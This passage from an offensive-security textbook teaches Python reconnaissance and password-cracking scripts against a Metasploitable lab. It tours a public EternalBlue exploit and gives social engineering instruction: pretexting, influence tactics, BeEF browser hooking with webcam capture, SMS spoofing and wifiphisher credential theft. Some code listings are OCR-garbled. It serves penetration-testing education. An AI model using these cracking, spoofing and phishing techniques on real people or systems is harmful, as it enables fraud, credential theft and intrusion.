Next, we use the connect() method from the socket module to make a network connection to a particular IP address and port. Remember that methods are functions available for a particular object. In Python, the syntax is object.method. In this case, we are connecting to IP address 192.168.1.101 (use the IP address of your Metasploitable 2 system) and port 22.

Once you make the connection, there are a number of things we can do. In this script, we use the receive method recv to read 1024 bytes of data from our socket (TCP connection) and store that information in avariable called answer. The receive method takes the banner information and places it into the variable. Once the variable has the banner information, we will want to print it with the printf() function. On the final line of the script, we close the socket.

Now, save this script as SSH BannerGrab.sh and give yourself permission to execute it with chmod (chmod 755 SSHBannerGrab.sh). Lets now run this script, and if the target system has SSH running on port 22, it will make a TCP connection, receive the banner, place the banner into a variable and print the contents of the variable as seen below.

We have just created our first reconnaissance Python script!



As you can see, this script not only told us what application is running on port 22, but also the version of the application (7.3p1) and the operating system (Debian-1). In many cases, this information will be critical to the hacker in determining what approach to take to hack the system!

# **Creating a TCP Listener**

Now that we have created a TCP client that is capable of capturing the banner information, let's create a TCP listener. With that same socket function, we can create a TCP listener that outsiders can connect to.

In our next Python script, we'll create a socket on your system that enables a connected listener to collect key information about their system. In other words, when someone connects to our system, we will gather information about them. (Every system that connects to another system carries with it nearly unique information about itself.)

Enter the script below and save it as tcp\_listener.py. Make sure to give yourself execute permission (chmod).

```
🐌 tcp_listener.py 🗵
 1
 2
        #! /usr/bin/python3
 3
 4
        import socket
 5
        TCP IP="192.168.1.101"
 6
        TCP PORT=5555
 7
 8
        BUFFER SIZE=100
 9
10
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11
12
        s.bind((TCP IP, TCP PORT))
13
        s.listen (1)
14
15
        conn, addr =s.accept()
        print ('Connection address:', addr)
16
17
        while 1:
18
19
            data=conn.recv(BUFFER SIZE)
20
21
            if not data:break
            print ("Received data:", data)
22
23
            conn.send(data) #echo
24
        conn.close
```

As usual, in the first line, we declare that we want this script to be run with the Python interpreter. Then, we import the socket module again. We then define variables to hold information for the TCP/IP address and port. Next, we define a variable by defining the buffer size of the information we will collect from their connection.

We then define the socket and bind the socket to the IP address and port using the variables we just created. We tell the socket to listen for the incoming connection by using the listen() method from the socket modules library.

We then capture the IP address and port of the system that is connecting to our socket and print this information to the user's screen with print().

Next, we use a while loop. We'll discuss while loops in the next section, but notice here that it will continue to run the indented code that follows indefinitely as long as there is data (if not data:break). This means that this script continues to run as long as there is incoming data. When the data stops, so does this script.

Finally, we place the information into a buffer, print it, and close the connection.

To test our script, first, execute the tcp\_listener.py script and then go to another computer on your network and connect to the port designated in our script (5555). Our script will collect key information about the connecting system and print it out.

This is, once again, key information a hacker needs before running an exploit. As you learned earlier, exploits are very specific. They work only for a particular operating system, application, port, version, and sometimes even a particular language (i.e. MS14-054). This is all part of reconnaissance, like we did in Chapter 4, and this script is very similar to the passive operating system fingerprinting tool or p0F.

# **Dictionaries, Loops and Control Statements**

Let's continue to expand our knowledge and skills in Python and apply them to additional hacking tools.

# Dictionaries

Dictionaries hold information as unordered pairs. These pairs contain a key and an associated value. We can use a dictionary to store a list of items and give each item a label so we can refer to it individually. For instance, we might store the key 1 with the value "Acura," the key 2 with the value Audi, the value 3 with the value BMW, and so forth. In some systems, these dictionaries might be used to store a USERID (key) with the user password (value). Dictionaries in Python operate like an associative array in many other languages.

Just like the lists we mentioned earlier, dictionaries are iterable. This means that we can use a control structure such a for, if-else, or while to go through each value in the dictionary. This is especially useful for creating password crackers. We could create a script that tries every password in a file until it comes to a correct password or exits.

The syntax for creating a dictionary looks like this;

```
dict = {key1:value1, key2:value2, key3:value3}
```

Note that with these dictionaries, we use curly braces {} and separate each item with a comma. You can include as many key-value pairs as you want.

# **Control Statements**

Control statements allow your script to make decisions based upon some condition such as "as long as this condition evaluates to true, continue. When it evaluates to false, stop." There are many ways to control the flow of our script in Python. We'll look at some of the more important ones here.

## The if Statement

The if control structure in Python is very similar to the if control statements in other programming languages, including BASH (for more on BASH see *Linux Basics for Hackers*). An if statement is used to check whether a statement is TRUE or FALSE and then run different code based upon the results of that condition.. The syntax looks similar to this:

```
if <a conditional statement that evaluates to TRUE or False> <code to run if statement above is TRUE>
```

The *if* statement contains a condition that might be something like:

if variable < 10

If the condition evaluates to TRUE, then the code that follows is executed. If the statement evaluates to FALSE, then the next statements are skipped and not executed.

The statement (s) that follow the if statement are referred to as the control block, and in Python, the control block must be indented. It is the indentation that identifies the control block. The next statement NOT indented is outside the control block and not part of the if statement. This is how Python knows what lines of code to execute when the if evaluates to TRUE and where to go to if it evaluates to FALSE.

## If...else

In Python, the if..else structure looks like this;

```
if <conditional statement that evaluates to TRUE or FALSE>
<statements to run if TRUE>
else
```

<statements to run if FALSE>

As with the if statement, the Python interpreter checks to see whether the condition following the if statement evaluates to TRUE or FALSE. If it evaluates to TRUE, the statements in the control block are executed. If it evaluates to FALSE, the statements in the control block after the else are executed instead.

A variation on the if...else statement is the elif statement. While the if...else statement allows you to execute **one** statement or block of code, there are times when you may have many possible clauses to execute. The elif enables you to nest multiple cases of possible outcomes and execute the appropriate statement or block of code to the circumstance.

An elif follows an if or another elif. Elif is short for "else if." In simpler terms, the elif enables you to provide another condition to evaluate if all the previous conditions have evaluated to FALSE. It's important to note that only one block of code will be executed, so order matters!

```
if port==22
    print("This open port is running SSH")
elif port==25
    print("This open port is running SMTP")
elif port==53
    print("This open port is running DNS")
elif port==80
```

print("This open port is running HTTP")

# Loops

Loops can be a very useful structure in writing your Python scripts. Loops enable us to repeat a code block multiple times, depending upon a value or a condition (TRUE|FALSE). The two most commonly used are while loops and for loops (we used a for loop in the tcp\_listener that continued to run as long as there was data).

# While Loops

The while loop evaluates a Boolean expression (TRUE or FALSE) and continues execution while the expression evaluates to TRUE. For example, we could create code snippet that prints each number from 1 to 100 and then exits the loop.

Count =1 While (count<=100):

elif

```
Print(count)
Count+=1
```

The indented control block then runs as long as the condition evaluates to TRUE (count <=100). In the tcp\_listener script, our while loop ran as long as there was data.

```
If not data:break
```

# The for Loop

The for loop can assign values from a list, string, dictionary, or other iterable structure to an index variable each time through the loop, enabling us to use each item in the structure one after another. For example, we might use a for loop to attempt passwords until we find a match, such as:

```
For password in passwords;
Attempt = connect(username, password)
If attempt =="230"
Print (Password found: " + password)
Sys.exit(0)
```

In this code snippet, we create a for statement that continues through a list of passwords we provide (see Chapter 8) and attempts to connect with a username and password. In this case, if it receives a "230" code (success on FTP servers), the program prints "Password found," followed by the password. It then exits (sys.exit). If it does not get the success code, it will continue looping through each of the remaining passwords until it receives a 230 or comes to the end of the password list.

# Adding Capability to Our Scripts

Now that we know a bit more Python, let's see whether we can use this advanced knowledge to improve and expand our scripts. Let's take our SSHBannerGrab script and give it capabilities to grab more banners than just SSH. Let's add a list of ports to grab banners from and use a looping structure to go through each element of the list and attempt to grab the service banner on the port, if it exists.

The first step is to create a list with the ports in it. Open the SSH BannerGrab.py script, and we'll edit it to add this new capability. We'll need to add a list called Ports and place the ports we want to grab banners from into this list, namely port 21, 22, 25, and 3306.

🐞 Port	:BannerGrab.py ×
1	#! /usr/bin/python3
2	
3	<pre>import socket</pre>
4	
5	s = socket.socket()
6	
7	Ports=[21,22,25,3306]
8	
9	for i in range (0, 2):
10 8	For I In range (0,5):
12	s-socket socket()
13	S-SUCKEL()
14	Port=Ports[i]
15	100100, 01 CD [ 1 ]
16	print("This is Banner for the Port")
17	R0000000 -
18	print(Port)
19	
20	<pre>s.connect(("192.168.1.101", Port))</pre>
21	
22	answer = s.recv(1024)
23	
24	print (answer)
25	
26	s.close()

Next, we create a for loop that iterates through that list four times, using each element in the list. Remember that the code that will be used within the for loop must be indented. We create a variable port and assign it to the value of each of the elements in the list as we iterate through. We then use that variable containing the port number in our connection to the remote system for each iteration. When that line of code is executed, it will attempt to connect to the IP address (make certain to use the IP address of the target system) and port combination. Now, if you run this script at the Metasploitable 2 system, you should get the following results.

ThisvisiBannervforcthe Port	FALSE
21ble	FALSE
220 (vsFTPd 2.3.4)	(No default value)
safe-updates	FALSE
This-is/Banner for the Port	FALSE
22nnect-timeout	Θ
SSH-2.0=OpenSSH_4:7pl Debian-8ub	untül77216
net-buffer-length	16384
This is Banner for the Port	1000
<b>25</b> x-join-size	100000
220 metasploitable.localdomain E	SMTPUPostfix (Ubuntu)
show-warnings	FALSE
ThisiisdBanner for the Port	(No default value)
3306ult-auth	(No default value)
≽istignore	(No default value)
5.0.51a-3ubuntu5	
>onnect-expired-	
5.0.51a-3ubuntu5	

Note that the script has grabbed the banners from 21 and found vsFTPd 2.3.4 running on it, port 22 open with OpenSSH 4.7 running on it, port 25 open with Postfix running on it and port 3306 with MySQL 5.0.51.a running on it.

You have now successfully built a multiport banner grabbing tool in Python to perform reconnaissance on a target system. This tool grabs the service banner and tells which service and version is running on that port, simplifying our task of exploiting it!

# **Exceptions and Password Crackers**

ANY code risks errors and exceptions. In programming, an exception is anything that disrupts the normal flow of your code—usually errors. You usually want to catch these errors and exceptions and do something, and sometimes you can use these errors and exceptions in the logic of your code. To address these errors, Python has exception handling. Exception handling is simply a bit of code that is triggered when an exception occurs. In Python, we have the try/except structure to handle exceptions.

A try block, as the name implies, tries to execute some code and if an error occurs, the except statement or block of code is executed. As I mentioned above, sometimes you can build the try/except structure into the logic of your code, similar to a if...else. For instance, we can use the try/except in a password cracker, and if an error occurs due to a password mismatch, move to try the next password with the except statement. Let's take a look at using that now.

Below you will see the code for a simple FTP password cracker (FTP crackers are relatively simple compared to other protocols, so let's start there). This script asks the user for the IP address of FTP server and the username whose password they are trying to crack. It then reads in a text file containing a list of possible passwords (see Chapter 8) and tries each one until it receives a message of success (code 230). The script runs until it achieves success or runs out of passwords.



We need the ftplib module, so we need to import that first. Next, we need to create a variable named server and another variable named user. These two variables store the inputs from the script user. This script prompts the user for the IP address of the FTP server and the username and stores that information in these variables.

The script then asks the user for the path to the password list. You can use the passwords lists we created in Chapter 8, create a new one tailored to this user, or use any of the lists built into Kali when you enter "locate wordlists" at the command prompt.

Our script then starts the try block of code that uses the password list the user provided.

Note that we use a Python function not previously discussed named strip. This function is necessary to remove a first and last character of a string to make certain that white space or commas are not used from our password list. The strip function removes these—if they exist—and leaves just strings of characters from the passwords. Without it, your script might be trying passwords such as:

```
"password," or " password"
```

Neither of these would match a potential password of "password" as the first includes a comma "," and the second a space " ".

Next, we use a second try block. Here, we use the ftplib module first to connect to the FTP server and then try the next password from the user supplied password list.

If the combination of the username and the password results in an error (exception), the try block exits and goes to the except clause (a good example of using the try/except as part of the script logic). There, it prints "still trying" and then returns to the top of the for clause, grabs the next password, and tries again.

If the new password succeeds, the successful password is printed to the screen. The final line captures any other potential errors such as a bad password or other issues with the password list.

Now we are ready to run this script against our FTP server on the Metasploitable 2 system (make certain to enter its IP address when prompted by our script). Here, I am using a password list custompasswordlist.txt.txt in my working directory that I created using our tools from Chapter 8 that are tailored to the target. You may use any password list that you think is appropriate including our most common password lists. Just make certain that you use the full absolute path to the list, for instance, /usr/share/custompasswordlist.txt.

root@kali-2019:~# ./ftppasswordcracker.py
FTP Server: 192.168.13.132
username: root
Path to PasswordList > /root/custompasswordlist.txt
Success! The password is iloveyou
root@kali-2019:~#

As you can see, our script successfully cracked the password of the FTP server for the root user!

# Python Script to Exploit EternalBlue

Throughout this book, we have focused upon the NSA's stolen EternalBlue exploit as an example of an effective and malicious exploit. Although this exploit was not originally written in Python, once this exploit saw the light of day, the global security community reverse-engineered its capabilities. That is what the Metasploit EternalBlue exploit in Chapter 9 is; a reverse-engineered EternalBlue exploit for Metasploit. It does the same thing as the original, but with different code.

The same happened with Python. Several security researchers reverse-engineered the EternalBlue exploit into Python. I think this is a good example of some excellent, sophisticated Python for system exploitation. Although it is beyond our capabilities at this level to develop an exploit like this, I think it is useful to see and understand how Python can be used to develop some of the most advanced exploits in the world.

To find the EternalBlue Python exploit, you can use the searchsploit command in your Kali.

```
kali > searchsploit eternalblue
```

	2
Exploit Title	Path
(	(/usr/share/exploitdb/)
Microsoft Windows 7/2008 R2 - 'Eternal   e	exploits/windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R   e	exploits/windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64)   e	exploits/windows_x86-64/remote/42030.py

As you can see, searchsploit found three EternalBlue exploits on our system, all of them Python scripts as indicated by .py extension. Let's use the second one labeled:

/exploit/windows/remote/42315.py.

Let's copy and rename that exploit into our /root user's directory and give it a name of eternalblue.py.

kali > cp exploits/windows/remote/42315.py eternalblue.py

root@kali-2019:~# cp /usr/share/exploitdb/exploits/windows/remote/42315.py eternalblue.py

Now open this eternalblue.py script with PyCharm.

When you open the eternalBlue.py script in PyCharm, it will look similar to this:



Note at the very first line the familiar, /usr/bin/python telling the system to use the Python interpreter. On lines 5, 6, and 7, the script imports some key modules, including sys, socket and time. Note also the extensive use of multiline comments beginning with line 9 and the triple quotation marks.

If we scan down a bit to line 280, you can see that the author has defined a few functions with the def command. On line 293, the author starts a for loop and on line 294 begins our familiar try/except exception handling.



Scanning a bit further down the page, we find some if and elif control statements at lines 341 and 345, respectively.



506	÷.	#
507		# try align pagedpool and leak info until satisfy
508		#
509		leakInfo = None
510		# max attempt: 10
511		for i in range(10):
512		reset_extra_mid(conn)
513		<pre>leakInfo = align_transaction_and_leak(conn, tid, fid, info)</pre>
514		if leakInfo is not None:
515		break
516		print('leak failed try again')
517		conn.close(tid, fid)
518		conn.disconnect_tree(tid)
519		
520		<pre>tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC\$')</pre>
521		conn.set_default_tid(tid)
522	ė.	<pre>fid = conn.nt_create_andx(tid, pipe_name)</pre>

Scanning down to line 511, we see the for loop we had used previously in our scripts.

Although this script is presently beyond our nascent Python skills, I think it is useful to see how the skills you have just learned are used in a real-life, world-class Python exploit.

# Summary

In this chapter, we developed some rudimentary Python skills and developed some useful hacker/information security scripts. I hope this chapter demonstrates that Python scripting is not insurmountable; you can DO it! In addition, we analyzed an advanced Python script for exploiting the EternalBlue vulnerability in SMB (MS17-010), and although we aren't ready to take on such an advanced task yet, you can see that this script used many of the same concepts we developed in this short excursion into Python. I strongly advise you to continue to develop your Python skills beyond here so that you may rise to the upper echelons of hacking—the Master Hacker!

Although it's not necessary to master Python scripting to become a hacker, without these skills, you will be relegated to using other people's hacking scripts. That can be quite limiting as exploits don't have a significant shelf life. As soon as they are out in the wild, their value begins to decline precipitously. If you are not developing zero-day exploits, these skills may not be necessary, but they certainly can be useful for a multitude of tasks.

#### Exercises

- 1. Create each of the scripts we wrote here and save them.
- 2. Starting with the more advanced Banner Grabber, edit it to grab the banners from ports 1-1000 and display them to the screen.
- 3. Start with the FTP password cracker and edit it to work with the MySQL installation on the Windows 7 system.

For more on Python for Hacking, look for my upcoming book Python Basics for Hackers!

# 17

# **Social Engineering**

Understanding human psychology, motivation, and behavior is one of the hacker's most important tools.

Master OTW



As institutions, companies, and individuals become more security conscious, sometimes the only way to penetrate a system or network is through social engineering. Some novice hackers tend to downplay the importance of social engineering and instead hold out for that "single silver bullet" that will enable them to *pwn* the target (such as EternalBlue). I need to point out that some of the most important hacks in history have been a result of social engineering, including the most famous hack in history: Stuxnet (the US hack of the Iranian nuclear enrichment facility at Natanz in 2010, see <a href="https://www.hackers-arise.com/post/2019/11/01/scada-hacking-anatomy-of-the-stuxnet-attack">https://www.hackers-arise.com/post/2019/11/01/scada-hacking-anatomy-of-the-stuxnet-attack</a>).

Some of the other famous hacks in history that were the result of social engineering include:

- 1. Democratic National Committee hack during 2016 election;
- 2. Target Point of Sale (POS) hack;
- 3. Sony Pictures hack;
- 4. 2011 RSA SecurID hack;
- 5. Yahoo's multiple security breaches.
- 6. Russia's Blackenergy3 Hack of the Ukraine electrical grid

There is an often-repeated adage in cybersecurity that says, "The weakest link in any information security system is the end user." If the attacker can fool a single user, the entire network—or even entire institution—may be taken down (one user clicking on a malicious link almost took down RSA and similarly cost the US retailer, Target, billions of dollars).

# What is Social Engineering in Cyber Security?

Social engineering has been a part of the human dynamic from the beginning of time. People have always social engineered each other to get them to do what they want. How else would they get young, healthy men and women to fight in senseless wars?

Social engineering is simply the art of manipulating people to get them to do what you want or give up the information you need. In the field of cybersecurity, the "do something" is often to open an email attachment or click on a malicious link, while the "give up information" is often a password. Both of these examples are social engineering, but there are so many other as well.

## **Social Engineering Vectors**

Social engineering is a separate skill set from hacking, but just as important. Many hackers don't take the time and effort to understand and master this field. It is just as much a science as hacking, but also includes an artistic/creative element. It requires an understanding of human motivation, human wants, and human needs.

Although social engineering—the art of getting people to do what you want—is varied, the vectors to engineer the attacks are well-known.

Some of the most common social engineering vectors in information technology are:

- 1. **Phishing**—This is the practice of sending out large amounts of email trying to get a few random people to click on a link or open an attachment or other malicious act. This is probably the most common social engineering attack, but increasingly less effective.
- 2. **Spear Phishing**—This is the practice of targeting a single individual with email attacks. This can often be done by spoofing email addresses or phone numbers. It usually is preceded by a significant amount of open-source intelligence gathering to determine the interests, needs and motivating factors of the target. This can be VERY effective if done properly.
- 3. **Whaling**—An email targeting a very powerful person. In some cases, this might be the CEO or another person in the organization with the power to access significant resources.
- 4. **Vishing**—Very similar to phishing, but done with the voice calls. This is an increasingly, effective tool with digital phone systems capable of "robo-calling."
- 5. **Baiting**—Similar to phishing (mass emails), but in baiting, the attacker holds out the hope of targeting some large payout (often from a Nigerian prince).
- 6. **Tailgating** This attack is usually associated with entry to a secure facility. Often it is a nonemployee following an employee into an area that requires proper authentication
- 7. **Quid Pro Quo**—This is a Latin phrase meaning "this for that." This social engineering attack usually involves the target being promised some benefit in exchange for information or other service.

#### **Social Engineering Concepts and Strategies**

Social engineering is a different field of science, much more akin to psychology. Although it's beyond the scope of one section of one chapter in one book to illuminate the keys to human psychology, I want to briefly outline some concepts that have proven effective in social engineering. For a more complete and thorough understanding of social engineering, I recommend *Social Engineering: The Art of Human Hacking*, by Christopher Hadnagy.

#### Elicitation

Elicitation is the ability to draw out the information or behavior you are seeking from the target. This a technique used by spies the world over to get what they want. In the US National Security Agency's training manual, the NSA defines elicitation as "*the subtle extraction of information during a normal and innocent conversation*." Perfect! That is exactly what we are trying to do.

These conversations can take anyplace and often are most effective when they seem to be part of the normal course of the day or work. This can be in the lunchroom, restaurant, café, restroom, just about anywhere.

Elicitation is effective because people like to talk about themselves and their work. Elicitation works well because:

- 1. People want to be helpful;
- 2. People take pride in themselves and their work;
- 3. People want to appear intelligent and important;
- 4. People are vulnerable to flattery.

The key to elicitation is to get people to talk. There are at least four strategies to get people to talk:

- 1. Appeal to their ego;
- 2. Show mutual interest;
- 3. Volunteer information about yourself or your work;
- 4. Assume knowledge.

#### Pretexting

Another excellent social engineering strategy is known as pretexting. In this strategy, you pretend to be someone else with an entirely different background and story. Ever wanted to be an actor? This may be your chance!

Pretexting is more than just telling a lie; it usually involves creating an entirely new identity and back story. It's important to note that to be effective, the pretext must be tailored to the target. There is no one-size-fits-all.

Pretexting is common in many professions, but probably most importantly in sales. The whole concept is to create a scenario and trust where the target is willing to give up information they would not otherwise relinquish.

#### **Planning the Pretext**

Before engaging in a pretext attack, it is worthwhile to do a bit of planning.

- 1. Gather as much information about the target as possible.
- 2. Try to find an area where your actual interests overlap those of the target.
- 3. Plan the pretext to appear to be as spontaneous as possible.

#### Influence

If the attacker wants to persuade someone to do or say something we want, their best strategy is to appeal to the target's interests and avoid an intellectual appeal. Persuasion most often involves human beliefs and emotions, not their intellect.

The key here is to get someone else to **want** to do or think what you want them to do. They must believe that it is something THEY want to do or say.

A few objectives before you start an influence campaign are:

- 1. Set clear goals;
- 2. Build rapport;
- 3. Be observant;
- 4. Be flexible.

#### **Influence Strategies**

The following are some key influence strategies. If you have ever purchased a used car, you will likely recognize some of these. Successful sales people are often the best social engineers. They are successful because they get **you** to do something **they want you to do**, buy their product.

Reciprocity—	People want to be helpful, so if the attacker offers something to the target, then the target will often want to reciprocate by offering something to the attacker when asked.
Obligation—	The attacker creates a feeling of obligation to themselves by giving or offering something, often just kindness or friendliness.
Concession—	This is similar to reciprocity but the attacker asks for more than they need and settle for what they want (ask for \$200 when you only want \$100 and get the target to concede to \$100).
Scarcity—	The attacker creates a false scarcity to get the target to act before they all gone.
Authority—	The attacker acts as an authority to get the target to do or reveal something.
Consensus—	The attacker convinces the target that "everyone knows this " or "everyone does this" to get the target to do something.

Now that we have some background on the psychology and strategies of social engineering, let's look at some technologies and tools to assist in this endeavor.

#### **Information Gathering**

Before attempting a social engineering attack, it's best to gather as much information about the target as possible. This will enable you to design an attack that is tailored to the individual's needs and wants. For instance, if you had discovered through social networking sites and other sources that the individual is an avid golfer, emails and URLs tailored to that person will likely have a greater chance of success. In addition, information gathering might reveal friends, family members, and work colleagues who could be impersonated in email, SMS, or other means (see SpoofBox below).

There are numerous places we can collect information on the target, including:

- 1. Facebook
- 2. LinkedIn
- 3. Twitter
- 4. Maltego
- 5. Google Hacking
- 6. People Search

For more on Open Source Intelligence (OSINT), go to www.hackers-arise.com/osint

#### **Social Engineering Tools**

Throughout the years, books and courses have used the Social Engineering Toolkit (SET) by Dave Kennedy as an example of a social engineering tool. With all due respect to Dave Kennedy (he is an

excellent security researcher) and others, I don't find the SET to be very useful. Most of its techniques don't work, and its interface is inelegant and clunky.

By contrast, the following tools ARE effective and useful:

- 1. BeEF or the Browser Exploitation Framework;
- 2. Wi-Fiphisher;
- 3. Spoof SMS;
- 4. Fileformat vulnerabilities;

#### **Social Engineering Techniques and Tools**

There are many tools that are useful for social engineering, but in this section, I want to demonstrate just a few.

#### **BeEF or Browser Exploitation Framework**

The Browser Exploitation Framework or BeEF, for short, enables you to take control of the target's browser. It relies upon your ability to get the target to click on a malicious Javascript link, and once they do, you are inside their browser! Once inside, there is considerable mischief you can do, including:

- 1. Resetting or DoSing their router;
- 2. Social engineering them to give up their passwords;
- 3. Send their browser to other malicious web sites;
- 4. Social Engineer them to give you access to their webcam.

Depending upon the version of Kali you are using, BeEF may not be installed by default but is in the Kali repository. If BeEf is not included in your Kali, simply download and install it from the Kali repository.

```
kali > apt install beef-xss
```

The first step is to start the BeEF server. You can start BeEF by entering:

kali > beef-xss

Once the server has started, you can connect to it with your browser by navigating to localhost:3000. This should bring up a screen like that below with the BeEF login. The default login is: username=beef and password=beef.

	So	EeEF	
-	Authentication		
	Username: Password:	Login	

After logging in, you will be greeted by a screen similar to the one below.



The key to using BeEF is to get the target to click on the BeEF javascript link that will give you control of their browser. To successfully attack the browser, you can add the BeEF hook to a web page that the target is likely to visit or send the link via email or SMS with some enticing text such as, "You got to see this video!"

Once the target clicks on the link, BeEF will hook their browser and you will control it! Here, I have hooked my Mozilla browser in Kali (127.0.0.1).

	<u>,</u>		_
	🗭 BeEF 0.4.4.9-alpha   <u>Submit</u>	Bug   Logout	
Hooked Browsers	Getting Started	er	
a 🔄 Online Browsers			_
4 🔄 localhost	Details Logs Commands Rider XssRays Ipec		
😻 🛆 💻 127.0.0.1	Category: Browser (6 Items)		~
Contraction of the Browsers	Browser Name: Firefox	Initialization	
	Browser Version: 24	Initialization	
	Browser UA String: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140723 Firefox/24.0 Iceweasel/24.7.0	Initialization	=
	Browser Platform: Linux i686	Initialization	
	Browser Plugins: Gnome Shell Integration-v.	Initialization	
	Window Size: Width: 768, Height: 376	Initialization	
	Category: Browser Components (14 Items)		
	Flash: Yes	Initialization	
	VBScript: No	Initialization	
	PhoneGap: No	Initialization	
	Google Gears: No	Initialization	
	Silverlight: No	Initialization	
	Web Sockets: Yes	Initialization	
	QuickTime: No	Initialization	
	RealPlayer: No	Initialization	
Basic Requester	Windows Media Plaver: No	Initialization	~

When I click on the browser link in the left-hand window labeled "Hooked Browsers", BeEF will display the key information about the browser.

BEEF 0.4.6.1-alpha   Submit Bug   Logout							
Hooked Browsers	Getting Started						
Conline Browsers							
4 🔄 Offline Browsers	Details Logs Commands Rider XssRays Ipec Network V	WebRTC					
⊿ 🔁 127.0.0.1	Category: Browser (6 Items)	A.					
(? 🌢 🐖 127.0.0.1	Browser Version: UNKNOWN	Initialization					
	Initialization						
	Browser Language: en-US Initialization						
Browser Platform: Linux x86_64							
	Browser Plugins: IcedTea-Web Plugin (using IcedTea-Web 1.6.2 (1.6.2-3))	Initialization					
	Window Size: Width: 800, Height: 388	Initialization					
Category: Browser Components (12 Items)							
	Flash: No	Initialization					
	VBScript: No	Initialization					
PhoneGap: No Initia							

You can now click on the commands column, and you can view all the commands available to you on this target system. Note the color-coding. Green means go; the command will likely work. Red means stop; that command will NOT work. Grey means "maybe."

In the figure below, we can see several commands that are green including "Geolocation."



Below, we can see that some of the commands are red, meaning they will not work with this browser.



The webcam command is green with this browser. This command will pop up a dialog box asking the user to enable their webcam. If they click "Yes," their webcam will be enabled and begin taking snapshots. You can replace this message and customize a new message ("Update Your Adobe Flash Now!") in the dialog box that will likely entice the user to click.



BeEF is an excellent tool for social engineering the target, and taking control of their browser.

#### **SMS Spoofing**

SMS communication has grown so dramatically over the last decade that some people seldom make phone calls anymore. This technology, commonly known as "texting," is very vulnerable to spoofing.

If you need someone to open a link on their phone or take some action, this can be an excellent way to do it. A few years ago, there were numerous SMS spoofing services, but many of them

have gone by the wayside. Among this turmoil, Spoofbox (www.spoofbox.com) has remained strong.

This is one service that works as advertised and is relatively inexpensive (not free, but they do accept Bitcoin). I have used this tool in social engineering engagements, and I can swear by it. It works!

All you need to do is open an account and put some money in. Then enter the number the text is going to, the number you want it to appear that the text has come from, and the message to send to the target.

SPOOFBOX Whats SIM Vietual Phone Pranks - Societ - Tools - Buy Login 💻
SPOOF MY TEXT
Spoof SMS FAQ Free
Send Spoof Text Send fake SMS to spoof any sender of a text message
Fake senders number
Fale Number Manually Hide
(201) 555-0128
Set a fake number as sender for your spoof text message. Attention, do not enter the country code manually:
Recipient
<ul> <li>(201) 555-0123</li> </ul>
Who will get your spoof text message? Attention, do not enter the country code manually. Sender and recipient should not be the same. Double check if you set the right recipient number.
Spoof Text Message
IErhonabuena Daniel) Deade Vodefone queremos premier tu fideildad obsequiéndote con esta magrifica tablet modelo Smart Tab NS www.oodefone.es/tiende/perticuler
0
Date and Time
Set a date and time when your fake text message should arrive at the recipient's Also pay attention to the right time zone of your recipient.
pay attantion to the right time zone of your redipient.

Some of you who are "Mr. Robot" fans will remember that the f/society crew got Elliot out of jam at Stone Mountain by sending an SMS message to the woman escorting him out. The message apparently came from her husband and said that he had been hospitalized. This service can do exactly that!

In addition to SMS spoofing, SpoofBox offers the following services:

- 1. Spoofing email;
- 2. Spoofphone calls;
- 3. Fake WhatsApp;
- 4. Fake iMessage.

Use these at your own peril, as I have not tried these other services and cannot vouch that they are effective or safe.

#### **Wi-Fi Phisher**

While many hackers hammer away on cracking the WPA2 hash, some find it more effective to simply social engineer the password from the target. That's where wifiphisher comes in. This tool is designed to:

- 1. Create a clone of the target AP;
- 2. Deauthenticate the user from their actual AP;
- 3. Associate them with the fake AP;
- 4. Present the user with an authentic-looking firmware update screen and ask them to provide their password to continue.

You and I are unlikely to give up our password so easily, but my experience is that most others will.

Wifiphisher is not built into Kali, so you need to downlaoad and install it from the Kali repository.

#### kali > apt install wifiphisher



Once wifiphisher has completed its downloading and installing, let's take a look at its help screen. kali > wifiphisher -help

<pre>root@kali-2019:~# wifip</pre>	hisherhelp					
usage: wifiphisher [-h] [-eI EXTENSIONSINTERFACE] [-aI APINTERFACE]						
[-iI INTERNETINTERFACE] [-nE] [-nD] [-e ESSID] [-dE]						
q - ]	PHISHINGSCENARIO] [-pK PRESHAREDKEY]					
[-hC	HANDSHAKE CAPTURE] [-qS] [-lC] [-lE LURE10 EXPLOIT]					
[-iA	M MAC AP INTERFACE] [-IEM MAC EXTENSIONS INTERFACE]					
[-iN	M] [logging] [payload-path PAYLOAD PATH] [-cM]					
[-wP	] [-wAI WPSPBC ASSOC INTERFACE] [-kB] [-fH]					
optional arguments:						
-h,help	show this help message and exit					
-eI EXTENSIONSINTERFA	CE,extensionsinterface EXTENSIONSINTERFACE					
	Manually choose an interface that supports monitor					
	mode for deauthenticating the victims. Example: -jI					
	wlan1					
-aI APINTERFACE,ap	interface APINTERFACE					
	Manually choose an interface that supports AP mode for					
	spawning an AP. Example: -aI wlan0					
-iI INTERNETINTERFACE	,internetinterface INTERNETINTERFACE					
	Choose an interface that is connected on the					
	InternetExample: -iI ppp0					
-nE,noextensions	Do not load any extensions.					
-nD,nodeauth	Skip the deauthentication phase.					
-e ESSID,essid ESS	-e ESSID,essid ESSID					
	Enter the ESSID of the rogue Access Point. This option					
	will skip Access Point selection phase. Example:					
	essid 'Free WiFi'					
-dE,deauth-essid	Deauth all the BSSIDs having same ESSID from AP					
	selection or the ESSID given by -e option					

There are numerous options, but wifiphisher has an automated script that will set up a fake AP automatically if you have a wireless card capable of working as an AP (I'm using an Alfa AWUS036NH, but some others will work as well).

To start wifiphisher, you only need to enter;

```
kali > wifiphisher
```

Wifiphisher will now setup your wireless card as an AP with DHCP. It will next scan the airwaves for available APs, as seen below.

e Edit View S	earch Terminal H	lelp	_				
Options: [Es	c] Quit [Up Arr	ow] Move Up [D	own Arrow]	Move	Down		
ESSID		BSSID	СН Р	WR E	NCR	CLIE	NTS VENDOR
TPTV1		24:05:	1	0%	WPA2	2	Unknown
мото		58:56:	1	0%	WPA2	4	Arris Group
xfin		82:f2:	1	0%	OPEN	0	Unknown
Spri		94:10:	2	0%	WPA2	3	Belkin International
xfin		92:ad:	6	0%	OPEN	0	Unknown
ΤΡΤΥ		24:05:	6	0%	WPA2	1	Unknown
HOME		88:ad:	6	0%	WEP	0	Pegatron
мото		e8:91:	6	0%	WPA2	Θ	Motorola Mobility, a Lenov
CCent		bc:99:	6	0%	WPA2	0	Unknown
NETG		3c:37:	7	0%	WPA2	4	Unknown
